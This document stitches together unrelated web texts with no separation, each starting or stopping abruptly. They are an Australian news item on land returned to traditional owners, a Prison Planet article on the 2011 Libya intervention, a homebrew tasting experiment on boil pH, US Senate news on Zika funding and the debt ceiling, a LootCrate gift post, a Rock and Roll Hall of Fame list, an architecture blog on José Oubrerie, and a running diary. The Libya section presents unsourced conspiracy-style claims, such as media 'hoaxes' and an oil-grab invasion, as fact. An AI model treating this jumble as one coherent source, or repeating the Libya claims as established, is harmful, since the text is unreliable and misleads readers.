"It's like a magical place. When you go to somewhere that is unspoilt, it's like no-one has touched it," he said.
"Today's a very historical day for us, it took nearly 20 years to do.
"It's the start of redeveloping our country, and looking after country and managing country and looking at other ventures.
"Because this country is very unspoilt, very untouched, there's a lot of sacred sites out there, a lot of story places the younger generation need to learn and carry on those practices, whether it be gathering food, medicine, teaching those kids about the story places and why they are important to us."
Mr Pitt said 40,000 hectares of the land will become a national park, to be jointly managed by the state and traditional owners.
"This is a defining moment in Queensland's history, culture and conservation — there are few other places like this in Australia," he said.
The Australian Conservation Foundation said it first proposed the area become a national park in 1976, and is pleased with outcome.
In 1987, prime minister Bob Hawke rejected a proposal to develop a silica sand mining project in the area, saying it would be "contrary to the national interest" because of its impact on the environment and "adverse effect on the Aboriginal community".
"Sand mining at Shelburne Bay would have damaged the wilderness value of the area and would have involved some damage to the Great Barrier Reef," Mr Hawke said in a media release.
"In our nearly 200 years of European settlement Australian governments too often have paid scant regard to the environment."
Paul Joseph Watson
Prison Planet.com
Monday, April 18, 2011
The United Nations is set to rubber stamp an EU invasion force of ground troops that would be sent into Libya under the cooked up pretense of “humanitarian aid” and empowered to fight if Gaddafi forces threatened to impede their mission to “secure sea and land corridors inside the country,” another blatant attempt to legitimize the aggressive war by goading Gaddafi into attacking western troops and justifying a wider military intervention.
“The EU has drawn up a “concept of operations” for the deployment of military forces in Libya, but needs UN approval for what would be the riskiest and most controversial mission undertaken by Brussels,” reports the Guardian. “The armed forces, numbering no more than 1,000, would be deployed to secure the delivery of aid supplies, would not be engaged in a combat role but would be authorised to fight if they or their humanitarian wards were threatened. “It would be to secure sea and land corridors inside the country,” said an EU official.
The plan is being spearheaded by the EU’s anointed foreign and security policy chief Catherine Ashton, a woman who has never been democratically elected to public office in her life yet is now about to commit EU troops to a new war that some have warned could last anything up to 30 years.
In addition, US Army Gen. Carter Ham has said that the US is considering sending in ground troops to aid rebels. As we reported at the time, before the Orwellian “no fly zone” was even enacted, hundreds of Special Forces from Britain, America and France landed in the country to train rebel forces.
A d v e r t i s e m e n t
Despite the fact that the initial UN resolution specifically forbade the use of ground troops as an occupying force, that’s exactly what NATO powers have been seeking to implement for the past month, with the mass media dutifully maintaining the hoax that the entire war of aggression is in fact a humanitarian outreach.
(ARTICLE CONTINUES BELOW)
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Deliberately obfuscating the fact that Gaddafi is fighting a civil war against an army trained by British and U.S. Special Forces, the likes of the BBC and the New York Times are still, over a month into the conflict, ludicrously reporting that rebel fighters killed and injured in battle are in fact innocent civilians being indiscriminately slaughtered by Gaddafi forces.
These are the same propaganda outlets that told us at the start of the air strikes that men in military uniforms driving tanks, flying fighter jets and walking around with rocket propelled grenade launchers were “protesters,” while concocting outright fabrications about Gaddafi using western journalists as human shields.
While Obama, Cameron and Sarkozy have launched an illegal and aggressive invasion of a sovereign country and armed one side in a civil war, the media continues to flagrantly insult our intelligence by characterizing NATO bombs as virtuous tools of liberation, just as the 2003 attack on Iraq, which killed at least 1 million people, was billed at the time as an act of spreading freedom and democracy. While NATO air strikes continue to kill innocent civilians, NATO itself cites Gaddafi attacks on civilians as a reason for intensifying the bombardment.
Look at the images below of injured men arriving at a hospital in Ajdabiya. Do these men look like innocent civilians or do they look like soldiers involved in a war?
Are NATO forces really dropping bombs to protect “protesters” and “innocent civilians” or are they making the region safe for an imminent ground invasion aimed at capturing Africa’s richest oil country and turning it into another geopolitical outpost for the new world order?
As Obama, Cameron and Sarkozy have made clear, nothing less than the murder of Gaddafi is good enough. There will be no cease fire and there will be no “negotiated exit” for Gaddafi. This is about regime change – George W. Bush style.
“So this is where we’ve come to: from earnest, knitted-brow assurances of a “limited intervention” to outright declarations of open-ended war for regime change — and “accommodations” to bring in more boots, bullets and bombs “on the ground.” This is a crime, “the supreme international crime, differing only from other war crimes in that it contains within itself the accumulated evil of the whole,” and it’s being committed, openly, proudly, by the Democrat in the White House,” writes Chris Floyd.
“But precisely because this “accumulated evil” is being committed by a Democrat in the White House, the “progressive” movement is silent. They don’t care. Aggressive war? They don’t care. International law? They don’t care. A blanket refusal of cease fires and peace plans that could spare countless civilian lives? They don’t care. An “active role on the ground” — new mounds of Iraq-style “collateral damage,” corpses, chaos, breakdown, extremism, brutality, suffering? They don’t care.”
Paul Joseph Watson is the editor and writer for Prison Planet.com. He is the author of Order Out Of Chaos. Watson is also a regular fill-in host for The Alex Jones Show.
This article was posted: Monday, April 18, 2011 at 12:35 pm
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Brewers who are serious about making the best beer possible know that good brewing water is key, and getting good brewing water often requires adjusting its chemistry with minerals and acid. Shown to effect enzymatic activity during the mash as well as clarity, aroma, and flavor of the finished beer, mash pH is a component most water conscious homebrewers pay attention to. In a recent conversation with Colin Kaminski, co-author of Water: A Comprehensive Guide for Brewer’s and Brewmaster at Downtown Joe’s, the topic turned to the potential impact differing pH levels of the wort during the boil have on things like hop utilization, perception of bitterness quality, and extraction of aromatic compounds.
This isn’t a new idea, though it seems far less focused on by homebrewers than other aspects of water chemistry. In my research, I found many in the brewing world accept a positive correlation exists between boil pH and hop utilization, increases in the former leading to improvements in the latter, and that it also leads to greater extraction of aroma compounds that remain in the finished beer.
Pretty great, right? Simply increase the pH of the wort pre-boil to get killer hop character. Except that’s not all there is to it. As Chris Colby discusses in a 2014 article on Beer & Wine Journal, a higher boil pH is purported to increase the risk tannin extraction from kettle hops, which are known to produce what many describe as a harsh bitterness.
So says the hard science, but what of the practical? Curious whether the average beer taster would be able tell the difference, I designed an xBmt to test it out!
| PURPOSE |
To evaluate the differences between 2 IPAs of the same recipe where one had a boil pH of 5.12 and the other a boil pH of 5.45.
| METHODS |
Much gratitude to Love2Brew for sponsoring this xBmt by hooking me up with a couple MACC IPA kits, a recipe designed by our own Ray Found that I was excited to try. I did make a small change by adding a touch more Magnum at 60 minutes to increase both the bitterness and plant matter in the wort, as these are both components said to be impacted by boil pH.
The night before brewing, I pitched 2 packs of WLP001 California Ale Yeast into a single large starter that would later be split between the two batches.
As my strike water was heating, I weighed and milled my grain with the help of an always willing volunteer.
I chose to perform separate mashes for each kit, both using the batch sparge method, staggering them by about 20 minutes. Thanks to BeerSmith, I hit the same mash temperature for both batches.
Each wort was collected in its own kettle following a 60 minute rest and both were at 5.45 pH. Based on conversations with brewing water experts Martin Brungard, John Palmer, and Colin Kaminski, I opted to adjust only one of the batches using phosphoric acid since it is essentially flavorless and wouldn’t contribute any minerals that might otherwise impact the variable being tested. Adding 2.5 mL of 77% phosphoric acid to the low boil pH wort brought it down to 5.12 pH.
Both batches were then boiled for 60 minutes with hops added per Ray’s recipe.
At the completion of each 60 minute boil, I quickly chilled the wort to my target fermentation temperature.
Hydrometer measurements following each boil confirmed both reached the same 1.066 OG.
I transferred each batch to its own conical fermentor controlled to 66°F/19°C then split the starter evenly between them.
Signs of fermentation were evident the following morning and both batches appeared to proceed similarly. As I usually do, I ramped the temperature a bit a few days into fermentation to ensure complete attenuation. Dry hops were added and left for a few days before I returned to measure FG since fermentation activity had ceased. I was surprised to discover the first observable difference.
This difference remained over multiple hydrometer measurements. Prior to packaging, I also took pH readings of both beers and found, perhaps expectedly, the high boil pH beer has slightly higher pH than the low boil pH sample.
The beers were then cold crashed, fined with gelatin, then kegged. After about a week on gas in my keezer, the beers were carbonated, clear, and ready for evaluation.
| RESULTS |
A total of 42 people participated in this xBmt, each blindly served 1 sample of the lower boil pH beer and 2 samples of the higher boil pH beer in different colored opaque cups then asked to select the unique sample. While 20 tasters (p<0.05) would have had to accurately identify the low boil pH sample as being different in order to reach statistical significance, only 15 (p=0.43) did so, suggesting they were unable to reliably distinguish an IPA made with a 5.12 boil pH from the same IPA with a 5.45 boil pH.
Since the results failed to achieve significance, any correct responses on the triangle test may very well have been by random chance, thereby invalidating any further data collected. However, given the moderate sample size, I thought it’d be interesting to share some of the information gleaned from the comparative analysis completed by only those participants who accurately identified the unique sample. Of the 15 participants who accurately chose the unique sample in the triangle test, 8 reported a preference for the low boil pH sample, 5 liked the high boil pH beer more, and 2 had no preference despite noticing a difference. While some of these tasters seemed to provide descriptions consistent with expectations in follow-up conversations, the level of convergence was not drastic.
My Impressions: When I initially tried these beers directly out of the fermentors, I was certain I detected differences, all of which aligned perfectly with what I knew I should have detected– stronger aroma and more assertive bitterness in the high boil pH beer. Then I laughed at myself– of course I tasted what I expected, I knew what had been done to the beers and exactly what to look for. I slightly preferred the higher boil pH beer as I perceived the bitterness as more assertive yet not overly harsh. The difference maker for me was the hoppier aroma in the high boil pH beer, as achieving that initial burst of hop aroma is often elusive for IPA brewers. As for Ray’s MACC IPA recipe, it was quite nice and well designed, especially the hop bill. I typically make drier IPA, but this was a nice change. With the impression of sweetness without being cloying, likely from the dose of Honey Malt, and heaps of classic American hop character, this is a recipe up any IPA lovers alley and was well received by the xBmt participants.
| DISCUSSION |
The pH scale is logarithmic rather than linear in nature, meaning a difference of 3 pH (10³ H+) is substantially greater than a difference of 1 pH (10 H+). It’s for this reason brewers tend to mind seemingly small variances in pH, for example, the commonly accepted “ideal” mash pH range of 5.2 – 5.6, as this translates to a relatively large ionic difference. The aforementioned range is similar when it comes boil pH, hence the decision to do a comparison between a low of 5.12 pH and a high of 5.45 pH. Despite the seemingly small 0.33 pH difference, which amounts to just over 2 times the H+ ion concentration, I fully expected these beers to be easily distinguishable by a panel of arguably well qualified tasters, the high boil pH sample possessing perhaps more hop character with a harsher bitterness than the low boil pH beer. Curiously, that’s not what happened, tasters could not reliably tell them apart.
During the data collection session, I was amazed as many of the people I would have bet on correctly identifying the unique sample walked away stumped. From early on, it was clear most people struggled on the triangle test. However, comments from a few of the correct respondents following completion of the survey did seem to align quite well with expectations, with descriptions of the high boil pH beer as being “more hoppy” and “biting” while others perceived the low boil pH beer have less bitterness or aroma. Of course, these are commonly used descriptors, and given the results of this xBmt, it’s possible their consistency with what I expected is mere coincidence. Either way, I’ll continue to pay attention to my boil pH and look forward to further investigations on the topic.
Is the pH of your boiling wort something you’ve taken into consideration? Please share your experience in the comments section below!
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The vote, which needed 60 to advance, failed 52 to 46
Washington (CNN) The top Republican and Democratic Senate leaders returned from their seven-week summer recess Tuesday and picked up where they left off in July -- harshly blaming the other's party for inaction on critical bills to battle Zika and fund the government.
In a pair of votes, Democrats blocked taking up GOP bills to pay for a public health response to the virus and to fund the Pentagon next year leaving in doubt Congress' ability to pass either bill.
Each failed to get the 60 votes needed to advance.
If an agreement is not reached, the government could shut down on September 30, just a few weeks before the presidential and congressional elections. However, several congressional Republicans suggested the Zika and government funding issues would be combined and resolved together ahead of the deadline.
"It's hard to explain why -- despite their own calls for funding -- Senate Democrats decided to block a bill that could help keep pregnant women and babies safer from Zika," Senate Majority Leader Mitch McConnell said on the floor. "It's also hard to explain why -- despite the array of terror attacks we've seen across the world -- Senate Democrats decided to block a bill that could help keep the American people safer from threats like ISIL."
It came in an unassuming LootCrate Box, but it was getting a LottCrate that was personalized for me! It contained a few LootCrate exclusive items: Batman #36, Joker Wooden Figure, and a Vault Boy Bobblehead! It also had a few extra gifts: Batman The Brave and the Bold Seasons 2 & 3. The best of all was the amazing Fallout inspired Mix CD that he made. It features several speeches and audio clips from the time period as well as 14 songs!
Fallout Mix Tracklist: 1. When They Dropped the Atomic Bomb - Jackie Dolls & His Picked Peppers 2. Sputniks & Mutniks - Ray Anderson 3. Diesel Smoke - Sons of the Pioneers 4. When the Atom Bomb Fell - Karl & Hardy 5. Atom and Evil - The Golden Gate Quartet 6. Atomic Power - The Buchanan Brothers 7. Ain't nobody Here But Us Chickens - Louis Jordan 8. Atomic Sermon - Billy Hughes 9. Jesus Hits Like The Atom Bomb - Lowell Blanchard 10. Atom Bomb Baby - The Five Stars (Actually in Fallout 4) 11. 50 Megatons - Sonny Russell 12. I'm Going to Dig Myself a Hole - Arthur "Big Boy" Crudup 13. Uranium - The Commodores 14. Fallout Shelter - Peter Scott Peters
The Rock and Roll Hall of Fame, established in 1983 and located in Cleveland, Ohio, United States, is dedicated to recording the history of some of the best-known and most influential musicians, bands, producers, and others that have in some major way influenced the music industry, particularly in the area of rock and roll.[1] Originally, there were four categories of induction: performers, non-performers, early influences, and lifetime achievement. In 2000, "sidemen" was introduced as a category.
The only category that has seen new inductees every single year is the performers category. Artists become eligible for induction in that category 25 years after the release of their first record.[2] In order to be inducted, an artist must be nominated by a committee that selects anywhere from nine to a dozen candidates. Ballots are then sent to 600 "rock experts" who evaluate the candidates and vote on who should be inducted. The performers that receive the highest number of votes and more than 50 percent of the vote are inducted. In 2010, the number inducted was five. The rest of the categories are voted on by special committees.[2] As of 2017 , new inductees will be honored at an annual ceremony held alternately in New York and at the Hall of Fame in Cleveland; prior to that, the ceremonies rotated between Cleveland, New York, and Los Angeles.[3]
The Rock and Roll Hall of Fame has garnered criticism for allegedly allowing the nomination process to be controlled by a few individuals,[4] nominating too many artists in too many genres that are not entirely rock,[5] ignoring entire rock genres,[6] and using technicalities to induct groups who may not have been among the top vote getters.[7] The Sex Pistols, who were inducted in 2006, refused to attend the ceremony; John Lydon writing a note, read out by Jann Wenner, calling the museum a "piss stain."[8][9]
Inductees [ edit ]
Performers [ edit ]
The performers category is meant for recording artists and bands that have "influence and significance to the development and perpetuation of rock and roll."[2] Artists become eligible for induction in that category 25 years after the release of their first record. In order to be inducted, an artist must be nominated by a committee that selects anywhere from nine to a dozen candidates. Ballots are sent to 600 "rock experts" who then evaluate the candidates and vote on who should be inducted. The performers who receive the highest number of votes and more than 50 percent of the vote are inducted. In 2011, the number inducted was five. The rest of the categories are voted on by special committees.[2] In 2012, six additional bands and groups were inducted as performers by a special committee, due to the controversial nature of their band being excluded when their lead singer was inducted. "There was a lot of discussion about this," said Terry Stewart, a member of the nominating committee. "There had always been conversations about why the groups weren't included when the lead singers were inducted. Very honestly, nobody could really answer that question – it was so long ago... We decided we'd sit down as an organization and look at that. This is the result."[10]
^ Note 1. These backing bands were inducted by a separate committee, and not by the ballot voting used for all other performer inductees.
^ Note 2. This artist was later inducted into the Rock and Roll Hall of Fame after inducting someone else.
^ Note 3. This artist was already a member of the Rock and Roll Hall of Fame when they inducted someone else.
^ Note 4. Dire Straits were the first artist in the hall's history to not have an official induction speaker. Band member John Illsley did the induction speech himself.[136]
Early influences [ edit ]
Artists inducted into the early influences category are those "whose music predated rock and roll but had an impact on the evolution of rock and roll and inspired rock's leading artists."[2] Unlike the performers category, these inductees are selected by a committee. The full process is not transparent and it is unclear who comprises this selection committee.[2]
^ A. Inducted members: Bill Kenny, Charlie Fuqua, Deek Watson, and Orville "Hoppy" Jones.[137]
^ B. Inducted members: Roy Crain Sr., R. H. Harris, Jesse Farley, and E. A. Rundless.[138]
^ C. Inducted members: Sonny Til, Tommy Gaither, George Nelson, Johnny Reed, and Alexander Sharp.[139]
^ D. Inducted members: Bob Wills, Tommy Duncan, Leon McAuliffe, Johnny Gimble, Joe "Jody" Holley, Tiny Moore, Herb Remington, Eldon Shamblin, and Al Stricklin.[140]
^ E. Nominated as a performer.
^ F. Inducted members: John L. Tanner, Eugene Tanner, James E. Moore, Obadiah H. Carter and Lowman Pauling, Jr[141]
Non-performers (Ahmet Ertegun Award) [ edit ]
The non-performer category honors "songwriters, producers, disc jockeys, record executives, journalists and other industry professionals who have had a major influence on the development of rock and roll."[2] Several of the inductees in this category were in fact prominent performers as well. The inductees in this category are selected by the same committee that chooses the early influences. The full process is not transparent and it is unclear who comprises this selection committee.[2] This category has been criticized for inducting those that have "been coming to the dinner for years and paying for their tickets" and not revealing their full criteria.[142] In 2008, this category was renamed the "Ahmet Ertegün Award".[143]
Award for Musical Excellence [ edit ]
This category, which replaced sidemen, "honors those musicians, producers and others who have spent their careers out of the spotlight working with major artists on various parts of their recording and live careers."
^ G. Inducted members: Garry Tallent, Roy Bittan, Max Weinberg, Steven Van Zandt, Nils Lofgren, Patti Scialfa, Clarence Clemons, Danny Federici, Vini Lopez, David Sancious.
Singles [ edit ]
At the 2018 ceremony, a new induction category for singles was announced by Steven Van Zandt.[145] According to Van Zandt, the category is "a recognition of the excellence of the singles that shaped rock 'n' roll, kind of a rock 'n' roll jukebox, records by artists not in the Rock Hall -- which is not to say these artists will never be in the Rock Hall. They just are not in the Rock Hall at the moment."[145]
Sidemen [ edit ]
Established in 2000, the sidemen category "honors those musicians who have spent their careers out of the spotlight, performing as backup musicians for major artists on recording sessions and in concert." A separate committee, composed mainly of producers, chooses the inductees.[2] In 2010, the category was renamed to "Award for Musical Excellence". According to Joel Peresman, the president of the Rock and Roll Hall of Fame Foundation, "This award gives us flexibility to dive into some things and recognize some people who might not ordinarily get recognized."[147]
Year Name Instrument 2000 Drums[148] 2000 Saxophone[149] 2000 Bass guitar[150] 2000 Guitar[151] 2000 Drums[152] 2001 Guitar[153] 2001 Piano[154] 2002 Guitar[155] 2003 Drums[156] 2003 Piano[157] 2003 Saxophone[158] 2008 Harmonica[159] 2009 Bass guitar[160] 2009 Drums[161] 2009 Keyboard[162]
Lifetime achievement [ edit ]
The following were inducted for "Lifetime Achievement in the Non-Performer Category."[2]
Year Name 1986 1991 2004 2005 2005 2006 Herb Alpert and Jerry Moss
Multiple inductees [ edit ]
As of 2017, 22 performers have been inducted twice or more; fourteen have been recognized as a solo artist and with a band and seven have been inducted with two separate bands. Eric Clapton is the only one to be inducted three times: as a solo artist, with Cream and with The Yardbirds.[163] Clyde McPhatter was the first to ever be inducted twice and is one of three artists to be inducted first as a solo artist and then as a member of a band, the other artists being Neil Young and Rod Stewart. Stephen Stills is the only artist to be inducted twice in the same year. Crosby, Stills & Nash, inducted in 1997, is the only band to see all of its inducted members be inducted with other acts: David Crosby with The Byrds in 1991, Stephen Stills with Buffalo Springfield in 1997, and Graham Nash with The Hollies in 2010.
Two inducted bands were spinoffs of other inducted bands. Journey was founded by two former members of Santana. Led Zeppelin was founded by lead guitarist Jimmy Page after The Yardbirds broke up, with the encouragement of the band's management. They were originally billed as "The New Yardbirds."
The Beatles, inducted in 1988, is the second band to have all of its members be inducted twice, as well as the only band to have each of its members be inducted for their solo careers as their second induction. Ringo Starr is the first inductee to be inducted twice in different categories (The Beatles were inducted in the performers category in 1988 and Starr was inducted as a solo artist in the Award for Musical Excellence category in 2015). He also holds the record for the longest time between first and second inductions, at 27 years. Both of Stills' inductions happened during the 1997 ceremony and Clapton and McPhatter were inducted in back-to-back years (1987/88 for McPhatter, 1992/93 for Clapton, as well as his solo induction in 2000).
The Traveling Wilburys are the only band to have all of its members be inducted without the band itself having been inducted: Roy Orbison as a solo artist in 1987, Bob Dylan as a solo artist in 1988, George Harrison with The Beatles in 1988 and as a solo artist in 2004, Tom Petty with Tom Petty and the Heartbreakers in 2002, and Jeff Lynne with the Electric Light Orchestra in 2017.
There are several performers who were inducted with one (or more) of the bands they played for, but were not inducted as members of one (or more) other bands. For example, Neil Young was inducted with Buffalo Springfield and as a solo artist, but was left out when Crosby, Stills & Nash were inducted.
In 2019, Stevie Nicks will become the first woman to be inducted twice, after having been inducted with Fleetwood Mac in 1998 and for her solo career in 2019.
Name First Year Second Year Third Year The Yardbirds 1992 Solo career 2009 — — The Flamingos 2001 The Dells 2004 — — The Yardbirds 1992 Cream 1993 Solo career 2000 The Byrds 1991 Crosby, Stills & Nash 1997 — — Genesis 2010 Solo career 2014 — — The Beatles 1988 Solo career 2004 — — The Jackson Five 1997 Solo career 2001 — — The Beatles 1988 Solo career 1994 — — The Impressions 1991 Solo career 1999 — — The Beatles 1988 Solo career 1999 — — Solo career 1987 The Drifters 1988 — — Crosby, Stills & Nash 1997 The Hollies 2010 — — Fleetwood Mac 1998 Solo career 2019 — — The Yardbirds 1992 Led Zeppelin 1995 — — The Velvet Underground 1996 Solo career 2015 — — Santana 1998 Journey 2017 — — Simon and Garfunkel 1990 Solo career 2001 — — The Beatles 1988 Award For Musical Excellence, Solo career 2015 — — Solo career 1994 Faces 2012 — — Buffalo Springfield 1997 Crosby, Stills & Nash 1997 — — Sammy Strain The O'Jays 2005 Little Anthony & The Imperials 2009 — — The Rolling Stones 1989 Faces 2012 — — Solo career 1995 Buffalo Springfield 1997 — —
"We've had not one minute of debate about the debt ceiling in any committee," he said in an interview with C-SPAN's "Newsmakers" that aired on Sunday. "We haven't had a budget in two years. We haven't had an appropriations bill in two years. So I'm part of the freshmen group in the Senate that's saying, 'no more.'"
Paul's plan: "Next week, we will filibuster until we talk about the debt ceiling, until we talk about proposals."
He added that a group of senators in the "conservative wing" of the Republican Party will also be presenting a proposal to tie raising the debt limit to passage of a balanced budget amendment.
"[W]e will actually vote in favor of raising the debt ceiling next week if we can, but it will be contingent on passing a balanced budget amendment to the Constitution," he said, adding, "I'm not completely without the sense that we may need to raise the debt ceiling. But I will only do it if we have significant budgetary reform, and to me that means you have to balance your budget every year."
Paul's announcement picks up where Sen. Ron Johnson's (R-Wis.) one-man filibuster attempt last Tuesday left off. Johnson declared that as long as the debt ceiling negotiations are held behind closed doors, he would block all unanimous consent calls, effectively putting a stop on Senate business.
"Unless we receive some assurance from the Democrat leadership that we will actually start addressing our budget out in the open, in the bright light of day -- I will begin to object," Johnson said on the Senate floor.
Johnson's stunt lasted a little more than two hours, eventually stopped by a procedural move by Senate Majority Leader Harry Reid (D-Nev.).
A balanced budget amendment has wide support within the Senate GOP caucus, but it has little chance of passing because of opposition from Democrats. Amending the Constitution requires a two-thirds majority in both chambers of Congress and ratification by three-fourths of the states.
The Hill has also reported that Senate Minority Leader Mitch McConnell's (R-Ky.) office objects to tying a raise in the debt limit to passage of a balanced budget amendment.
Le Corbusier didn’t make his workforce pay but he did think people should work for him for nothing. If ever we wonder today why so many architects are paid so little and are prepared to work for so little in the name of gaining experience, then we need look no further than Le Corbusier who, amongst his many other contributions to architecture, took the business fundamentals of marketing and cashflow to new levels. Building on the groundbreaking work of Wright, we know much about what Le Corbusier did for marketing and self-promotion but very little of his innovative approach to cashflow and reducing fixed expenses by paying little, if anything. The intern farm is one of Le Corbusier’s less recognized but more ubiquitous legacies. Starchitect clones are well aware the right to underpay is one of the perks of fame.
Le Corbusier’s office
Judging by Le Corbusier’s suit and hair in the header photograph, these two images look like from the late thirties. Were all these people content with just doing their job or did they believe proximity to Le Corbusier and observing and learning how those buildings came into being constituted an architectural education? We know what happened to a few of them. Louis Sert worked unpaid in 1929 but was back in Barcelona within a year. Léonie Geisendorf worked unpaid during the 1930s. [c.f. Brands as Architectural Legacy]
We don’t know if José Oubrerie was paid or not.
He arrived at Le Corbusier’s office in 1963, eighteen months before Le Corbusier’s death in 1965. Oubrerie is said to have carried the Venice Hospital project forward until it was finally cancelled in 1972. [c.f. The Mat Building] He also completed LC’s French Cultural Center in Damascus in 1988. This is one of those inconvenient and thus forgotten buildings.
The Damascus project is conceived of as a continuous interior surface. Its enclosed continuous interiority relates in part to the formal complexity of Le Corbusier’s Villa La Roche, and, in part, to a new architectural topology, a “Moebiusian” one. *
Baghdad Gymnasium was designed by Le Corbusier in 1956 but completed in 1980 without input from Oubrerie.
Better known is Le Corbusier’s Le Église Saint-Pierre in Firminy, completed by Oubrerie in 2006, or 1996 according to the Knowlton School website. Peter Eisenman said it was the most important structure built since 1980. [? I can’t imagine what that 1980 structure could have been.] Unlike some of the posthumously completed works of Frank Lloyd Wright, the fidelity and authenticity of Firminy as a genuine work of Le Corbusier is never questioned despite the forty-year hiatus. If it had been faithfully constructed with period materials, technologies and services then I guess we would’ve been told. Nevertheless, I’m keen to find out how this kind of real authenticity differs from the merely authentic.
The thing I find most interesting about Oubrerie is this house, his 1992 Miller House in Lexington Kentucky. It’s his only built work and it’s rather fabulous in all its LC meets NY5 glory.
And is probably why we hear nothing of it. It’s got motifs from the whole bunch of five and asks uncomfortable questions such as who exactly is appropriating whom and for what ends? It’s very much a statement building but nobody’s asking what it’s stating or why.
It also has a surfeit of colour, pattern and texture – something the “whites” eschewed in their timber-framed reworkings of the plasticity implied by Corbusian stucco on brick.
Miller House post-dates the New York Five by two decades, so I can only assume Oubrerie is showing them how it ought to have been done and what would have been the better lessons to have learned. For this impertinence he has been roundly ignored. I’m still unconvinced every single surface and element has to show the trace of an architect’s hand. In the case of the Miller House, those timber shelves seem a bit over-the-top. I also doubt every single element needs its own colour and, even if they must, are these the right ones?
With all that colour, pattern and materiality all over the place, the debt to Maisons Jaoul is obvious. It’s everything the NY5 eschewed with their designs that existed as ideas over and above any construction-based reality. I confess to liking Oubrerie’s Miller House, but my feelings towards the NY5 have varied over the years. In 1979 I thought Peter Eisenman’s House X the ultimate whereas in 1977 I had a page, torn from Progressive Architecture, of Richard Meier’s 1973 Douglas House pinned above my drawing board.
I enjoy the relentless design of Oubrerie’s Miller House in the same way I enjoy Carlo Scarpa’s art piece Olivetti Store in Venice, or Gio Ponti’s 1955 Villa Planchard. All three invoke the concept of “total design” as probably invented by Victor Horta circa 1890 and later co-opted by Wright, Gropius, etc. Even now, the concept of total design is still used to imply the “attention to detail” and “obsessive perfectionism” of the artist-architect.
When compared with Douglas House, the physicality of Miller House is obvious but I find it no more human for all that colour, pattern and texture. Both houses leave no conceptual space for people as whatever furniture, rugs or art one possessed, or even the clothes one wore, would clash. In representing the pleasures of colour and materials, Oubrerie has forgotten to involve the people who are to appreciate them. I don’t know if that makes him better or worse than the bunch of five who succeeded by aiming lower.
All in all, Oubrerie’s is a curious career involving five built buildings only one of them his and even then only in a sense.
1932: Born
1946-51: Studied painting at the Ecole des Beux-Arts in Nantes (ages 14-17)
1955-58, 1966-68: Studied architecture at the École Nationale Supérieure des Beaux-Arts (ages 23-26, 34-36)
1958-1963: [There is no information for the period between the end of the first phase of Oubrerie’s education and his first acknowledged appearance at Le Corbusier’s office in 1963. Wikipedia * however lists three periods of Oubrerie’s involvement with the Le Église Saint-Pierre project: 1960–70, 1970–78 and 2003–06. This would place Oubrerie in Le Corbusier’s office three years earlier – which is possible as he may have had the resources to work unpaid for at least the period 1958–1963. Family? Wife?]
1963-1967: Centre Le Corbusier, Zurich, Switzerland (with Le Corbusier, G. Jullian, et al.) [This coincided with the second part of Oubrerie’s architectural education so I’m assuming he was still an intern. However, 18 months after Oubrerie [re-?]enters the office, Le Corbusier dies.]
1965: Le Corbusier dies.
1964–1972: Venice Hospital, Venice, Italy (with Le Corbusier, et. al) [Oubrerie continued his studies 1966-1968 concurrently , yet is credited with carrying the Venice Hospital prject forward until its final cancellation in 1972. This all suggests he was the last man standing. It turned out to be not such a bad call to bet all his chips on the Le Corbusier memory industry.]
1970: Registered in the Ordre des Architect, Paris, France and, three years after graduation, as an honorary member of the American Institute of Architects. [(For starters.)]
1974: Taught architectural design as assistant professor at Cooper Union, New York City [I’m told – and on good authority ( cheers CB!) that this was for six weeks in Spring semester AY1973-4. The series of “open-ended” seminars asked the six or eight students to “consider” the condition of Manhattan’s Canal Street and make an architectural project out of it. To kick-start a process of inquiry, somebody made a blue foam model of a couple of blocks. There was no grading – assessment was pass or fail. John Hedjuk oversaw the presentations as Oubrerie had commitments elsewhere.]
1974-84: Taught architectural design as assistant professor at Ecole Nationale Superieure des Beux-Arts, Paris and concurrently (1981) as assistant professor at Polytechnic University of Milan.
1985–87: Taught architectural design as assistant professor at New York Institute of Technology and (concurrently) at Columbia University Graduate School of Architecture, Planning and Preservation
1980–81, 1983-4: Taught as professor of architecture at Austin E. Knowlton School of Architecture at Ohio State University [The 1981–1983 gap would have been covered by the abovementioned concurrent, concurrent assistant professor duties at Ecole Nationale Superieure des Beux-Arts and Polytechnic University of Milan.]
1988: Completed Le Corbusier’s French Cultural Center, Damascus
1987-91: Visiting professor at the School of Architecture at the University of Illinois at Chicago and (concurrently) Dean at University of Kentucky College of Design, formerly College of Architecture, in Lexington, Kentucky
1992: Miller House, Lexington Kentucky
1991-7: Chair of the architecture department, professor of architecture, and professor emeritus at Austin E. Knowlton School of Architecture at Ohio State University
2015: The Chapel of the Mosquitoes, County, New York, 2015 (unbuilt)
The Chapel, commissioned and encouraged by Steven Holl for his residential and gallery complex in Rhinebeck, New York, features a light-water diagonal conduit that pierces the roof and floor and is a contemporary interpretation of a ladder in a kiva — a traditional round Pueblo Indian form — in which the ladder joins the sky and earth. There is no real sipapu, the round hole in the kiva’s floor through which the spirits of the ancients can exude. However, in the Chapel, the ground is visible and the floor sometimes retracts; it practically enters inside, or reciprocally, the floor extends and reaches the outside.
2017: Oubrerie is often described as the last living protégé of Le Corbusier and this lets us infer a level of guidance and support more directed, intense and sustained than was almost certainly the case.
The term protégé also implies Le Corbusier had a concern for architectural education and the benevolent nurturing of talent but there is zero evidence for this. It’s a strange situtation when an architect having no interest in education is “taught” so much. One can only wonder what architectural education consisted of before there was Le Corbusier’s life and work to teach. It might be worth trying to imagine what it might have been.
Further:
What the fuck had I done? 100k? Was I totally fucking mad?
I spent that day boring my colleagues with talk of how scared I was. Their response ranged from “you’re right to be nervous!” to “you’ll be alright! just take it easy!”.
Before I knew it work was over for the day and I had to get the train from London Waterloo to Teddington so I could find my tent at the London 2 Brighton campsite.
Finding my tent outside Teddington
The walk from Teddington train station to the camp site by the Thames was beautiful by night.
I walked through the town centre which was full of revellers and I thought about how nice it would be to not be running the race tomorrow and to be inside a bar getting pissed out of my mind instead.
The trouble is that this attitude was responsible for me becoming a drunken slob in 2008-09. Comfort might begin when you sit your ass down on a bar stool but it soon ends when you’re shitfaced and trying to blame anyone but yourself for the predicament you find yourself in.
At least as a runner I accept responsibility now for my life.
I found my tent quite quickly after that.
And I knew I’d made a mistake in not bringing any camping shit with me.
Not even a sleeping bag.
I had to make do with using my man bag as a pillow and my suit jacket as a blanket.
I was tossing and turning all night as I kept hearing badgers, planes, foxes and fuck knows what else outside my tent.
I caught zero fucking sleep.
Soon morning arrived too with serious fucking rain (and pain).
At this point I was seriously thinking of just not running and pretending to be injured or something.
To compound matters I’d left all of my running fuel outside my tent. It was totally fucking saturated.
